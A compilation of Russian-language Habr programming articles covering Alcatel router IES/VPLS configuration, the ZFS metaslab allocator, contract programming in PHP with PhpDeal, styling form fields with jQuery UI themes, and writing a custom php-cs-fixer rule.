-------------------------------------------------------------------------------
sap:1/1/1:5 q-tag 1518 1518 Up Up
sap:1/1/2:5 q-tag 1518 1518 Up Up
===============================================================================`
3. Итак, интерфейс.
```
service
ies 15 customer 5 create
interface "DGW-1" create
address 10.0.0.6/29
dhcp
server 10.10.10.10
relay-unicast-msg
no shutdown
exit
vpls "Access-ring-1"
exit
exit
no shutdown
exit
```
Как видно, здесь мы убили двух зайцев разом: и default gateway сконфигурировали, и DHCP Relay клиентам предоставили. Заметьте, что IES и VPLS — сервисы разные, с разными id.
Проверить, что интерфейс UP можно с помощью `show service id 15 interface`
**Спойлер**`===============================================================================
Interface Table
===============================================================================
Interface-Name Adm Opr(v4/v6) Type Port/SapId
IP-Address PfxState
-------------------------------------------------------------------------------
DGW-1 Up Up/-- IES rvpls
10.0.0.6/29 n/a
-------------------------------------------------------------------------------
Interfaces : 1
===============================================================================`
4. Сконфигурируем интерфейс в сторону ядра, где расположен DHCP сервер. Для простоты добьемся связности с сервером статическим маршрутом. Не забываем о значении MTU со стороны ядра.
Включаем интерфейс:
```
port 1/1/3
ethernet
exit
no shutdown
exit
```
Настраиваем IP часть:
```
router
interface "To-CORE"
address 172.16.0.0/31
port 1/1/3
no shutdown
exit
interface "system"
no shutdown
exit
static-route 10.10.10.10/32 next-hop 172.16.0.1
```
Таблицу маршрутизации можно посмотреть с помощью `show router route-table`
**Спойлер**`===============================================================================
Route Table (Router: Base)
===============================================================================
Dest Prefix[Flags] Type Proto Age Pref
Next Hop[Interface Name] Metric
-------------------------------------------------------------------------------
10.0.0.0/29 Local Local 00h17m25s 0
DGW-1 0
10.10.10.10/32 Remote Static 00h05m05s 5
172.16.0.1 1
172.16.0.0/31 Local Local 00h05m05s 0
To-CORE 0
-------------------------------------------------------------------------------
No. of Routes: 3
Flags: n = Number of times nexthop is repeated
B = BGP backup route available
L = LFA nexthop available
S = Sticky ECMP requested
===============================================================================`
На этом нехитрая, но немного непривычная настройка Alcatel завершена. На первый взгляд здесь не хватает VRRP, однако по-хорошему для включения VRRP необходимо добавить MPLS интерфейс между двумя маршрутизаторами. Помимо SAP в наш VPLS добавятся SDP. Но это уже совсем другая история.
Версия ПО: TiMOS-B-12.0.R6.
Картинка и консоль: [UNL](http://www.unetlab.com/)
Спасибо за внимание.
|
https://habr.com/ru/post/317138/
| null |
ru
| null |
# Как работает ZFS — часть 2: metaslab
В [первой части](http://habrahabr.ru/post/160943/) я описал как организованы данные на vdev в ZFS. Вторая часть описывает как работает алгоритм выбора собственно места, куда запись будет идти в данный момент.
Здесь я немного усложню задачу — в первой части был описан только один vdev; здесь их у нас будет несколько, поскольку алгоритм должен выбрать и vdev, куда мы будем писать блок данных, и metaslab внутри vdev'a. В продакшн системе может быть несколько десятков vdev, и правильно распределить данные по ним критично — перебалансировать их мы уже не сможем без копирования всех данных. Цель правильного алгоритма — распараллелить данные так, чтобы на каждом девайсе их было примерно одинаковое количество, выровнять неравномерное заполнение, но и не перегрузить один из девайсов (это будет тормозить запись на весь пул).
```
NAME STATE READ WRITE CKSUM
tank ONLINE 0 0 0
c1t6d0 ONLINE 0 0 0
c1t5d0 ONLINE 0 0 0
```
Для начала, важное замечание: ZFS рассчитан на то, что все девайсы в пуле имеют одинаковый размер. Иначе, например если добавить 2Тб диск в пул из 1Тб дисков, на 2Тб диске в результате окажется в два раза больше данных, и он начнёт влиять на суммарный IOPs системы — алгоритм аллокатора учитывает процент заполнения, а не количество данных в байтах.
На данный момент в ZFS есть четыре алгоритма аллокатора. Переменная [`zfs_metaslab_ops`](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/metaslab.c#694) содержит поинтер на структуру `space_map_ops_t`, в которой есть поинтеры на семь функций, которые использует каждый конкретный алгоритм. Например, в Illumos используется алгоритм `metaslab_df`, и соответствующий стракт с поинтерами на функции выглядит вот так:
```
static space_map_ops_t metaslab_df_ops = {
metaslab_pp_load,
metaslab_pp_unload,
metaslab_df_alloc,
metaslab_pp_claim,
metaslab_pp_free,
metaslab_pp_maxsize,
metaslab_df_fragmented
};
```
Пять из этих функций используются во всех алгоритмах; разница собственно только в `metaslab_*_alloc()` и `metaslab_*_fragmented()` — сам аллокатор, и функция, которая решает насколько фрагментировано свободное место в конкретном metaslab. Аллокаторы, которые можно использовать: DF (Dynamic-Fit), FF (First-Fit), и два экспериментальных, CDF и NDF — что они означают, не знает никто.
FF из них самый простой — он пишет куски данных в первое попавшееся свободное место при трассировке АВЛ-дерева по порядку, и разделяет блоки записи на сегменты, если они не влезают. За счёт этого, FF — очень медленный алгоритм, так как для записи одного блока он должен трассировать всё дерево, пока не наберётся достаточное количество сегментов. Для записи 1ГБ данных, например, worst case — 20 млн сегментов по 512 байт, и очень сильная фрагментация данных как результат. FF используется другими алгоритмами как последний вариант, если они не могут найти место по-другому — например, DF изпользует FF если в данном метаслабе меньше 4% свободного места (`int metaslab_df_free_pct = 4;`). Единственный плюс FF в том, что он единственный может заполнить фрагментированный метаслаб на 100%.
\*DF алгоритмы работают по другому — они строят карту свободного места `freemap` в том метаслабе, в который на данный момент идёт запись, сортируют ее по размеру и/или близости кусков непрерывного свободного места, и пытаются выбрать наиболее оптимальный вариант размещения данных с точки зрения скорости записи, количества движений головки диска, и минимальной фрагментации записываемых данных.
Например, для всех них работает функция `metaslab_weight()`, которая даёт небольшой приоритет метаслабам, которые находятся на внешних регионах пластины диска (для short-stroke эффекта). Если использовать только SSD, то имеет смысл тюнить ZFS, отключая эту часть алгоритма, потому-что к SSD short-stroking не применим.
Итак, в алгоритмы аллокатора данные попадают из [ZIO](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/zio.c) [pipeline](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/zio.c#2974) — оттуда вызываются функции `metaslab_alloc()` (сам аллокатор для записи) и `metaslab_free()` (освобождаем место, собираем мусор).
```
metaslab_alloc(spa_t *spa, metaslab_class_t *mc, uint64_t psize, blkptr_t *bp,
int ndvas, uint64_t txg, blkptr_t *hintbp, int flags)
```
Туда передаётся: `*spa` — поинтер на структуру самого массива данных (zpool); \*mc — класс метаслабов, в котором в том числе есть поинтер на `zfs_metaslab_ops`; `psize` — размер данных; `*bp` — поинтер на сам блок; `ndvas` — количество независимых копий данных, которое требуется для данного блока (1 для данных; 2 для большинства метаданных; 3 в некоторых случаях для метаданных, которые находятся высоко в АВЛ-дереве. Смысл в дупликации метаданных в том, что если единственный блок с метаданными для сегмента дерева утерян, мы теряем всё, что находится под ним. Такие блоки называются ditto blocks, и алгоритм старается писать их на разные vdevы).
Далее, `txg` — порядковый номер группы транзакций, которую мы пишем; `*hintbp` — подсказка, используемая для того, чтобы блоки которые рядом логически были также рядом на диске, и шли на тот же vdev; `flags` — 5 бит, которые позволяют аллокатору узнать нужно ли использовать какие-либо специфические варианты аллокации — использовать или игнорировать подсказку `*hintbp`, и использовать ли ganging (просьба писать группу child блоков на тот же vdev, что и их header, для более эффективной работы ZFS prefetch и vdev cache).
```
define METASLAB_HINTBP_FAVOR 0x0
define METASLAB_HINTBP_AVOID 0x1
define METASLAB_GANG_HEADER 0x2
define METASLAB_GANG_CHILD 0x4
define METASLAB_GANG_AVOID 0x8
```
```
/*
* Allow allocations to switch to gang blocks quickly. We do this to
* avoid having to load lots of space_maps in a given txg. There are,
* however, some cases where we want to avoid "fast" ganging and instead
* we want to do an exhaustive search of all metaslabs on this device.
* Currently we don't allow any gang, zil, or dump device related allocations
* to "fast" gang.
*/
#define CAN_FASTGANG(flags) \
(!((flags) & (METASLAB_GANG_CHILD | METASLAB_GANG_HEADER | \
METASLAB_GANG_AVOID)))
```
```
/*
* If we are doing gang blocks (hintdva is non-NULL), try to keep
* ourselves on the same vdev as our gang block header. That
* way, we can hope for locality in vdev_cache, plus it makes our
* fault domains something tractable.
*/
```
Далее, собственно, идёт самая важная часть кода, в которой логика самого выбора метаслаба для записи: `metaslab_alloc_dva()`. В функции почти 200 строк хитрого кода, который я попытаюсь объяснить.
Сначала, мы берём все группы метаслабов для всех vdev'ов, и проходимся по ним циклом аллокатора (`mg_rotor`), используя подсказки, если они есть. Мы пропускаем vdev'ы, на которые запись в данный момент нежелательна, например те, в которых умер один из дисков, или идёт восстановление raidz-группы. (Don't allocate from faulted devices.) Мы также пропускаем диски, на которых были какие-то ошибки записи, для данных у которых на дисках будет только одна копия. (Avoid writing single-copy data to a failing vdev.)
Ротор работает по кругу пока не кончатся данные, отправленные на запись. Внутри этого цикла, по очереди выбирается оптимальный vdev, потом в нём, используя `metaslab_group_alloc()`, выбирается лучший метаслаб, потом решаем сколько данных записать в этот метаслаб, сравнивая процент использования vdev'a с другими. Эта часть кода очень критична, поэтому привожу ее полностью:
```
offset = metaslab_group_alloc(mg, psize, asize, txg, distance,
dva, d, flags);
if (offset != -1ULL) {
/*
* If we've just selected this metaslab group,
* figure out whether the corresponding vdev is
* over- or under-used relative to the pool,
* and set an allocation bias to even it out.
*/
if (mc->mc_aliquot == 0) {
vdev_stat_t *vs = &vd->vdev_stat;
int64_t vu, cu;
vu = (vs->vs_alloc * 100) / (vs->vs_space + 1);
cu = (mc->mc_alloc * 100) / (mc->mc_space + 1);
/*
* Calculate how much more or less we should
* try to allocate from this device during
* this iteration around the rotor.
* For example, if a device is 80% full
* and the pool is 20% full then we should
* reduce allocations by 60% on this device.
*
* mg_bias = (20 - 80) * 512K / 100 = -307K
*
* This reduces allocations by 307K for this
* iteration.
*/
mg->mg_bias = ((cu - vu) *
(int64_t)mg->mg_aliquot) / 100;
}
```
Например, если нам надо записать 1МБ данных на массив из двух дисков, ~~один из которых заполнен на 20%, а второй — на 80%, мы запишем 819КБ на первый, и 205КБ на второй.~~ *Поправка: сравнивается свободное место в пуле, и свободное место в vdev'e, так что результат будет немного другим.*Здесь, кстати, можно сделать одну очень интересную вещь — несколько месяцев назад я добавил статистику latency для каждого vdeva в ZFS (она находится в `vdev_stat_t->vs_latency[]` в NexentaStor; в Illumos пока не добавили), и её можно использовать в качестве одного из факторов при записи новых данных, либо учитывая и её и свободное место в какой-либо пропорции, либо используя только её. Такой изменённый алгоритм я тоже написал, но он пока не используется в продакшн-системах. Он имеет смысл когда либо в массиве есть диски разного типа и скорости, либо когда один из дисков начинает умирать (тормозить), но пока не настолько плох, и на нём нет ошибок.
Наконец, итерация за итерацией, цикл отправляет все данные на запись в metaslab group, и заканчивается для этой transaction group (txg), a в группе метаслабов работает система [`metaslab_weight()`](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/metaslab.c#785) (см. начало статьи), и через систему [`space map`](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/space_map.c#84), учитывая maxfree (максимальный кусок непрерывного свободного места), с помощью трассировки АВЛ-деревьев и соответствующего алгоритма (DF, FF, CDF, NDF) распихивает данные оптимальным для алгоритма образом, после чего мы наконец получаем физический адрес блока, в который мы будем писать на диск, и данные идут в очередь на запись в `sd` (Scsi Device) драйвер.
|
https://habr.com/ru/post/161055/
| null |
ru
| null |
# Контрактное программирование в PHP
 В реальной жизни мы повсюду сталкиваемся с различными контрактами: при устройстве на работу, при выполнении работ, при подписании взаимных соглашений и многими другими. Юридическая сила контрактов гарантирует нам защиту интересов и не допускает их нарушения без последствий, что дает нам уверенность в том, что те пункты, которые описаны в контракте — будут выполнены. Эта уверенность помогает нам планировать время, планировать расходы, а также планировать необходимые ресурсы. А что если и программный код будет описываться контрактами? Интересно? Тогда добро пожаловать под кат!
#### Введение
Сама идея контрактного программирования возникла в 90-х годах у Бертрана Мейера при разработке объектно-ориентированного языка программирования [Eiffel](http://ru.wikipedia.org/wiki/%D0%AD%D0%B9%D1%84%D0%B5%D0%BB%D1%8C_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)). Суть идеи Бертрана была в том, что нужно было иметь инструмент для описания формальной верификации и формальной спецификации кода. Такой инструмент давал бы конкретные ответы: «метод обязуется сделать свою работу, если вы выполните условия, необходимые для его вызова». И контракты как нельзя лучше подходили для данной роли, потому что позволяли описать что будет получено от системы (спецификация) в случае соблюдения предусловий (верификация). С тех пор появилось множество реализаций данной методики программирования как на уровне конкретного языка, так и в виде отдельных библиотек, позволяющих задавать контракты и проводить их верификацию с помощью внешнего кода. К сожалению, в PHP нет поддержки контрактного программирования на уровне самого языка, поэтому реализация может быть выполнена только с помощью сторонних библиотек.
#### Контракты в коде
Так как контрактное программирование было разработано для объектно-ориентированного языка, то не сложно догадаться, что основными рабочими элементами для контрактов являются классы, методы и свойства.
###### Предусловия
Самым простым вариантом контракта являются *предусловия* — требования, которые должны быть выполнены перед конкретным действием. В рамках ООП все действия описываются методами в классах, поэтому предусловия применяются к методами, а их проверка происходит в момент вызова метода, но до выполнения самого тела метода. Очевидное использование — проверка валидности переданных параметров в метод, их структуры и корректности. То есть с помощью предусловий мы описываем в контракте все то, с чем мы точно работать не будем. Это же здорово!
Чтобы не быть голословным, давайте рассмотрим пример:
```
class BankAccount
{
protected $balance = 0.0;
/**
* Deposits fixed amount of money to the account
*
* @param float $amount
*/
public function deposit($amount)
{
if ($amount <= 0 || !is_numeric($amount)) {
throw new \InvalidArgumentException("Invalid amount of money");
}
$this->balance += $amount;
}
}
```
Мы видим, что метод пополнения баланса в неявном виде требует числового значения величины суммы пополнения, которая также должна быть строго больше нуля, в противном случае будет выброшено исключение. Это типичный вариант предусловия в коде. Однако он имеет несколько минусов: мы вынуждены искать глазами эти проверки и, находясь в другом классе, не можем быстро оценить наличие/отсутствие таких проверок. Также, без наличия явного контракта, нам придется помнить о том, что в коде класса есть необходимые проверки входящих аргументов и нам не надо волноваться за них. Еще один фактор: эти проверки выполняются всегда, как в режиме разработки, так и боевом режиме работы приложения, что незначительно влияет в отрицательную сторону на скорость работы приложения.
В плане реализации предусловий, в PHP существует специальная конструкция для проверки утверждений — [assert()](http://php.net/assert). Большое ее преимущество в том, что проверки можно отключать в боевом режиме, заменяя весь код команды на единственный NOP. Давайте посмотрим на то, как можно описать предусловие с помощью данной конструкции:
```
class BankAccount
{
protected $balance = 0.0;
/**
* Deposits fixed amount of money to the account
*
* @param float $amount
*/
public function deposit($amount)
{
assert('$amount>0 && is_numeric($amount); /* Invalid amount of money /*');
$this->balance += $amount;
}
}
```
Хочу обратить внимание на то, что предусловия в рамках контрактов служат для проверки логки работы программы и не отвечают за валидность параметров, переданных от клиента. Контракты отвечают только за взаимодействие внутри самой системы. Поэтому пользовательский ввод должен всегда фильтроваться с помощью фильтров, так как утверждения могут быть отключены.
###### Постусловия
Следующая категория контрактов — *постусловия*. Как можно догадаться из названия, данный тип проверки выполняется после того, как было выполнено тело метода, но до момента возврата управления в вызывающий код. Для нашего метода `deposit` из примера мы можем сформировать следующее постусловие: баланс счета после вызова метода должен равняться предыдущему значению баланса плюс величина пополнения. Осталось дело за малым — описать все это в виде утверждения в коде. Но вот здесь нас поджидает первое разочарование: как же сформировать это требование в коде, ведь мы сперва изменим баланс в теле самого метода, а потом попытаемся проверить утверждение, где нужно старое значение баланса. Здесь может помочь клонирование объекта перед выполнением кода и проверка пост-условий:
```
class BankAccount
{
protected $balance = 0.0;
/**
* Deposits fixed amount of money to the account
*
* @param float $amount
*/
public function deposit($amount)
{
$__old = clone $this;
assert('$amount>0 && is_numeric($amount); /* Invalid amount of money /*');
$this->balance += $amount;
assert('$this->balance == $__old->balance+$amount; /* Contract violation /*');
}
}
```
Еще одно разочарование поджидает нас при описании постусловий для методов, возвращающих значение:
```
class BankAccount
{
protected $balance = 0.0;
/**
* Returns current balance
*/
public function getBalance()
{
return $this->balance;
}
}
```
Как здесь описать контрактное условие, что метод должен возвращать текущий баланс? Так как пост-условие выполняется после тела метода, то мы наткнемся на `return` раньше, чем сработает наша проверка. Поэтому придется изменить код метода, чтобы сохранить результат в переменную `$__result` и сравнить потом с `$this->balance`:
```
class BankAccount
{
protected $balance = 0.0;
/**
* Returns current balance
*/
public function getBalance()
{
$__result = $this->balance;
assert('$__result == $this->balance; /* Contract violation /*');
return $__result;
}
}
```
И это для простого метода, не говоря уже о том случае, когда метод большой и в нем несколько точек возврата. Как вы уже догадались, на этом этапе идеи об использовании контрактного программирования в проекте на PHP быстро умирают, так как язык не поддерживает необходимых управляющих конструкций. Но есть решение! И о нем будет написано ниже, наберитесь немного терпения.
###### Инварианты
Нам осталось рассмотреть еще один важный тип контрактов: *инварианты*. Инварианты — это специальные условия, которые описывают целостное состояние объекта. Важной особенностью инвариантов является то, что они проверяются всегда после вызова любого публичного метода в классе и после вызова конструктора. Так как контракт определяет состояние объекта, а публичные методы — единственная возможность изменить состояние извне, то мы получаем полную спецификацию объекта. Для нашего примера хорошим инвариантом может быть условие: баланс счета никогда не должен быть меньше нуля. Однако, с инвариантами в PHP дело обстоит еще хуже чем с постусловиями: нет никакой возможности легко добавить проверку во все публичные методы класса, чтобы после вызова любого публичного метода можно было проверить необходимое условие в инварианте. Также нет возможности обращаться к предыдущему состоянию объекта `$__old` и возвращаемому результату `$__result`. Без инвариантов нет контрактов, поэтому долгое время не было никаких средств и методик для реализации данного функционала.
#### Новые возможности
Встречайте, PhpDeal — экспериментальный DbC-[фреймворк для контрактного программирования в PHP](https://github.com/lisachenko/php-deal).
После того, как был разработан [фреймворк Go! AOP для аспектно-ориентированного программирования в PHP](https://github.com/lisachenko/go-aop-php), у меня в голове крутились мысли насчет автоматической валидации параметров, проверки условий и много-много другого. Триггером к созданию проекта для контрактного программирования послужило обсуждение на [PHP.Internals](http://grokbase.com/t/php/php-internals/141wpxrw6r/dbc-for-php) . Удивительно, но с помощью АОП задача решалась всего в пару действий: нужно было описать аспект, который будет перехватывать выполнение методов, помеченных с помощью контрактных аннотаций, и выполнять нужные проверки до или после вызова метода.
Давайте посмотрим на то, как можно использовать контракты с помощью этого фреймворка:
```
use PhpDeal\Annotation as Contract;
/**
* Simple trade account class
* @Contract\Invariant("$this->balance > 0")
*/
class Account implements AccountContract
{
/**
* Current balance
*
* @var float
*/
protected $balance = 0.0;
/**
* Deposits fixed amount of money to the account
*
* @param float $amount
*
* @Contract\Verify("$amount>0 && is_numeric($amount)")
* @Contract\Ensure("$this->balance == $__old->balance+$amount")
*/
public function deposit($amount)
{
$this->balance += $amount;
}
/**
* Returns current balance
*
* @Contract\Ensure("$__result == $this->balance")
* @return float
*/
public function getBalance()
{
return $this->balance;
}
}
```
Как вы заметили, все контракты описываются в виде аннотаций внутри док-блоков и содержат необходимые условия внутри самой аннотации. Не нужно менять оригинальный исполняемый код класса, он остается таким же чистым, как и код без контрактов.
Предусловия задаются с помощью аннотации `Verify` и определяют те проверки, которые будут выполнены в момент вызова метода, но до выполнения самого тела метода. Предусловия работают в области видимости метода класса, поэтому имеют доступ ко всем свойствам, включая приватные, а также имеют доступ к параметрам метода.
Постусловия задаются аннотацией, имеющей стандартное название `Ensure` в терминах контрактного программирования. Код имеет аналогичную область видимости, что и сам метод, помимо этого, доступны переменные `$__old` с состоянием объекта до выполнения метода и переменная `$__result`, содержащая в себе то значение, которое было возвращено из данного метода.
Благодаря использованию АОП стало возможным реализовать даже инварианты — они элегантно описываются в виде аннотаций `Invariant` в док-блоке класса и ведут себя аналогично постусловиям, но для всех методов.
Во время экспериментов с кодом я обнаружил удивительное сходство контрактов с интерфейсам в PHP. Если стандартный интерфейс определят требования к стандарту взаимодействия с классом, то контракты позволяют описывать требования к состоянию инстанса класса. Применяя описание контракта в интерфейсе, удается описывать требования как к взаимодействию с объектом, так и к состоянию объекта, которое будет потом реализовано в классе:
```
use PhpDeal\Annotation as Contract;
/**
* Simple trade account contract
*/
interface AccountContract
{
/**
* Deposits fixed amount of money to the account
*
* @param float $amount
*
* @Contract\Verify("$amount>0 && is_numeric($amount)")
* @Contract\Ensure("$this->balance == $__old->balance+$amount")
*/
public function deposit($amount);
/**
* Returns current balance
*
* @Contract\Ensure("$__result == $this->balance")
*
* @return float
*/
public function getBalance();
}
```
Дальше начинается самое интересное: при создании класса и определении нужного метода любая современная IDE переносит все аннотации из описания метода в интерфейсе в сам класс. А это позволяет движку PhpDeal их находить и обеспечивать автоматическую проверку контрактов в каждом конкретном классе, реализующем данный интерфейс. Для желающих пощупать все собственными руками — можно скачать проект с гитхаба, установить все зависимости с помощью композера, настроить локальный веб-сервер на эту папку и потом просто открыть в браузере код из папки [demo](https://github.com/lisachenko/php-deal/tree/master/demo)
#### Заключение
Контрактное программирование в PHP — абсолютно новая парадигма, которая может использоваться для защитного программирования, для улучшения качества кода и обеспечения читаемости контрактов, определяемых в виде требований и спецификаций. Большой плюс данной реализации в том, что код классов остается читаемым, сами аннотации читаются как документация, а также то, что в боевом режиме проверка может быть полностью отключена и не требует абсолютно никакого времени на дополнительные ненужные проверки в коде. Интересный факт: сам фреймоврк содержит лишь пару аннотаций и один класс аспекта, который связывает эти аннотации с конкретной логикой.
Благодарю за внимание!
Ссылки по теме:
1. [Wikipedia — контрактное программирование](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
2. [Фреймворк PhpDeal для контрактного программирования в PHP](https://github.com/lisachenko/php-deal)
3. [Фреймворк Go! AOP для аспектно-ориентированного программирования в PHP](https://github.com/lisachenko/go-aop-php)
|
https://habr.com/ru/post/214371/
| null |
ru
| null |
# Оформляем текстовые поля при помощи JQuery themes
Почтеннейшая публика,
Фреймворк JQuery themes позволяет легко и быстро придать одинаковый стиль всем виджетам из набора JQuery UI. Однако, простых элементов это не касается — они остаются серыми и унылыми. Мне захотелось оформить в том же стиле все остальные поля. Начнем с текстовых.
Писать специальный виджет для этого будет overkill, ограничимся простым скриптом, который подключим в Master Page:
````
$(function () {
$('input:text, input:password, textarea')
.addClass('ui-widget ui-state-default ui-corner-all')
.hover(
function () {
$(this).switchClass('ui-state-default', 'ui-state-hover', 1);
},
function () {
$(this).switchClass('ui-state-hover', 'ui-state-default', 1);
})
.focus(function () {
$(this).addClass("ui-state-focus");
})
.blur(function () {
$(this).removeClass("ui-state-focus");
});
});
````
Вначале подключаем классы по умолчанию: ui-widget — базовый, ui-state-default — для состояния «по умолчанию», и ui-corner-all для закругления углов (не работает в IE). Метод hover задает два поведения: при наведении мышки мы меняем дефолтный класс на ui-state-hover (третий аргумент — для того, чтобы убрать плавный переход), а когда мышку убираем — все возвращается. Ну, а для событий focus и blur пишем два разных обработчика.
**update**
Чтобы все это работало, нужно подключить следующие скрипты:
JQuery
JQueryUI
И CSS Вашей любимой темы отсюда:
[jqueryui.com/themeroller](http://jqueryui.com/themeroller/)
Пост предназначен для новичков в JQuery. Я только что провел пару часов, разбираясь со всеми этими классами, захотелось сэкономить другим время…
**update2**
Рано я бросился писать пост, факт. Текстовым полям по дефолту надо ставить класс «ui-widget ui-widget-content ui-corner-all», по focus — добавлять класс «ui-state-highlight», а по hover вообще непонятно, что делать. Они уже год планируют добавить классы типа ui-form-default и ui-form-hover для таких случаев.
|
https://habr.com/ru/post/94701/
| null |
ru
| null |
# php-cs-fixer: Пишем свой фиксер
Качество кода не только в том, как он работает, но и в том как выглядит. То, что единый в рамках кампании code style — это очень важная вещь — в наши дни убеждать уже никого не нужно. Код должен быть не только написан, но и оформлен. В плане оформления PHP кода, утилита [php-cs-fixer](https://github.com/FriendsOfPHP/PHP-CS-Fixer) давно уже стала стандартом. Использовать ее довольно просто, есть куча правил и можно удобно забиндить ее запуск на какую-нибудь комбинацию клавиш в шторме или на pre-commit hook в гите. Все это легко гуглится и подробно разбирается в сотнях статей. А мы сегодня поговорим о другом. Хотя в php-cs-fixer есть большое количество разных фиксеров, но что, если нам понадобится такой, которого там нет? Как написать собственный фиксер?
### Фиксер?
Вообще, что такое фиксер? Фиксер, это небольшой класс, который фиксит ваш код, приводит его к какому-то виду. Я не стал выдумывать глупые или сложные кейсы для нового фиксера, и решил взять какой-нибудь вполне реальный. Например, приведение всех ключевых слов в коде к нижнему регистру. За это отвечает фиксер *LowercaseKeywordsFixer*. Давайте на его примере научимся создавать собственные фиксеры.
### Фиксим
Итак, вы уже выполнили
```
git clone https://github.com/FriendsOfPHP/PHP-CS-Fixer.git
composer install
```
Наш подопытный фиксер состоит из двух частей:
Сам фиксер:
`src/Fixer/Casing/LowercaseKeywordsFixer.php`
И тест:
`tests/Fixer/Casing/LowercaseKeywordsFixerTest.php`
*LowercaseKeywordsFixer.php* — это файл, который содержит класс фиксера. Каждый фиксер должен наследоваться от абстрактного класса *PhpCsFixer\AbstractFixer,* а значит содержать методы:
```
getDefinition();
isCandidate(Tokens $tokens);
applyFix(\SplFileInfo $file, Tokens $tokens);
```
К этим методам мы еще вернемся. Давайте теперь рассмотрим очень важное для нас понятие: Token.
### Token в PHP
Если вы хорошо знакомы с PHP, то понятие токенов для вас не ново. На русском их еще иногда называют “метками”. Токены — это языковые лексемы PHP. Например, если взять такой простенький код:
```
php
foreach ($a as $B) {
try {
new $c($a, isset($b));
} catch (\Exception $e) {
exit(1);
}
}</code
```
и разбить его на токены, то получим массив из 54 элементов. Вторым элементом будет:
```
Array
(
[0] => 334
[1] => foreach
[2] => 3
)
```
Где 334 — это идентификатор токена. То есть не этого конкретного токена, а этого типа токенов. Другими словами, все токены, представляющие конструкцию foreach — будут иметь идентификатор 382. Этому идентификатору соответствует константа *T\_FOREACH*. Список всех констант можно посмотреть [в документации](http://php.net/manual/ru/tokens.php).
Очень важный момент. **Идентификаторы меняются от версии к версии PHP интерпретатора**, ваш код никогда не должен зависеть от конкретных цифр, только [константы](http://php.net/manual/ru/tokens.php)!
Подробнее про токены можно почитать в [документации](http://php.net/manual/ru/ref.tokenizer.php).
### Token в php-cs-fixer
В php-cs-fixer есть два класса для работы с токенами:
*PhpCsFixer\Tokenizer\Tokens* для работы с массивом токенов, и
*PhpCsFixer\Tokenizer\Token* для работы с одним токеном.
Рассмотрим некоторые полезные методы.
**Token:**
```
equals($other, $caseSensitive = true)
```
Проверяет, что переданный первым параметром токен эквивалентен текущему. Это самый правильный способ проверить, что токены равны.
```
equalsAny(array $others, $caseSensitive = true);
```
Проверяет, что один из переданных в первом параметре токенов равен текущему.
```
getContent();
```
Получить содержимое токена.
```
setContent($content);
```
Задать содержимое токена.
```
isChanged();
```
Был ли токен уже модифицирован.
```
isKeyword();
isNativeConstant();
isMagicConstant();
isWhitespace();
```
Названия говорят сами за себя.
[Подробнее](https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/src/Tokenizer/Token.php)
**Tokens:**
```
findBlockEnd($type, $searchIndex, $findEnd = true);
```
Найти конец блока типа $type (фигурные, квадратные или круглые скобки), начиная от токена с индексом $searchIndex. Если третьим параметром передать true — то метод будет искать начало блока, а не конец.
```
findGivenKind($possibleKind, $start = 0, $end = null);
```
Найти токены заданного типа (типов, если передать массив) начиная с токена под индексом $start и до токена под индексом $end.
```
generateCode();
```
Сгенерировать PHP код из набора токенов.
```
generatePartialCode($start, $end);
```
Сгенерировать PHP код из набора токенов между $start и $end
```
getNextTokenOfKind($index, array $tokens = array(), $caseSensitive = true);
```
Найти следующий токен определенного типа
```
getNextMeaningfulToken($index);
getPrevMeaningfulToken($index);
```
Найти следующий/предыдущий токен, содержащий что-то, кроме пробелов и комментариев.
```
insertAt($index, $items);
```
Добавить в коллекцию новый токен, после $index
```
overrideAt($index, $token);
```
Заменить токен с индексом $index на переданный вторым параметром.
[Подробнее](https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/src/Tokenizer/Tokens.php)
### Пишем фиксер
Теперь к самому фиксеру.
Напомню, что мы пишем фиксер, который приводит все ключевые слова PHP к нижнему регистру. Класс фиксера будет находиться в файле
`src/Fixer/Casing/LowercaseKeywordsFixer.php`
Для начала нам нужно определить, попадает ли код под наш кейс. В нашем случае нам надо обработать любой код, который содержит ключевые слова php. Определим метод *isCandidate*.
```
public function isCandidate(Tokens $tokens)
{
return $tokens->isAnyTokenKindsFound(Token::getKeywords());
}
```
Теперь нам нужно описать наш фиксер. Для этого определим метод:
```
public function getDefinition()
{
return new FixerDefinition(
'PHP keywords MUST be in lower case.',
array(
new CodeSample(
'php
FOREACH($a AS $B) {
TRY {
NEW $C($a, ISSET($B));
WHILE($B) {
INCLUDE "test.php";
}
} CATCH(\Exception $e) {
EXIT(1);
}
}
'
),
)
);
}</code
```
Этот метод возвращает объект *FixerDefinition*, конструктор которого принимает два параметра: короткое описание фиксера (оно будет в документации в файле [README.rst](https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/README.rst)) и небольшой пример кода для исправления (он нигде отображаться не будет, но участвует в тестах).
Также мы можем реализовать метод
```
public function getPriority()
{
return 0;
}
```
Который возвращает приоритет фиксера, если нам понадобится запускать свой фиксер до или после других фиксеров. В нашем случае, наш фиксер никак не зависит от остальных, так что можно не реализовывать метод, оставив значение 0 из родительского класса.
Все приготовления закончены, давайте реализуем метод, который будет фиксить код.
Нам нужно, пробежать по всему коду, если токен — ключевое слово, то привести его к нижнему регистру:
```
protected function applyFix(\SplFileInfo $file, Tokens $tokens)
{
foreach ($tokens as $token) {
if ($token->isKeyword()) {
$token->setContent(strtolower($token->getContent()));
}
}
}
```
В итоге должен получиться примерно [такой файл](https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/src/Fixer/Casing/LowercaseKeywordsFixer.php).
### Что дальше
